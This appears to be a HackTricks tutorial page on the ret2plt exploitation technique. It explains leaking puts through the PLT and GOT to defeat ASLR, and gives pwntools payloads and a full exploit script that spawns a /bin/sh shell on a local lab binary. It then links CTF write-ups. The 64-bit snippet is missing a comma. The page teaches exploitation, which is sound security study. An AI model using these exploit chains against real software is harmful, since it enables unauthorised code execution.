Ret2plt

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Basic Information

The goal of this technique would be to leak an address from a function from the PLT to be able to bypass ASLR. This is because if, for example, you leak the address of the function puts from the libc, you can then calculate where is the base of libc and calculate offsets to access other functions such as system.

This can be done with a pwntools payload such as (from here):

# 32-bit ret2plt
payload = flat(
    b'A' * padding,
    elf.plt['puts'],
    elf.symbols['main'],
    elf.got['puts']
)

# 64-bit
payload = flat(
    b'A' * padding,
    POP_RDI,
    elf.got['puts']
    elf.plt['puts'],
    elf.symbols['main']
)

Note how puts (using the address from the PLT) is called with the address of puts located in the GOT (Global Offset Table). This is because by the time puts prints the GOT entry of puts, this entry will contain the exact address of puts in memory.

Also note how the address of main is used in the exploit so when puts ends its execution, the binary calls main again instead of exiting (so the leaked address will continue to be valid).

Note how in order for this to work the binary cannot be compiled with PIE or you must have found a leak to bypass PIE in order to know the address of the PLT, GOT and main. Otherwise, you need to bypass PIE first.

You can find a full example of this bypass here. This was the final exploit from that example:

from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvline()

payload = flat(
    'A' * 32,
    elf.plt['puts'],
    elf.sym['main'],
    elf.got['puts']
)

p.sendline(payload)

puts_leak = u32(p.recv(4))
p.recvlines(2)

libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
    'A' * 32,
    libc.sym['system'],
    libc.sym['exit'],
    next(libc.search(b'/bin/sh\x00'))
)

p.sendline(payload)

p.interactive()

Other examples & References

• https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html

  • 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call system('/bin/sh')

• https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html

  • 64 bits, ASLR enabled, no canary, stack overflow in main from a child function. ROP gadget to call puts to leak the address of puts from the GOT and then call an one gadget.

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.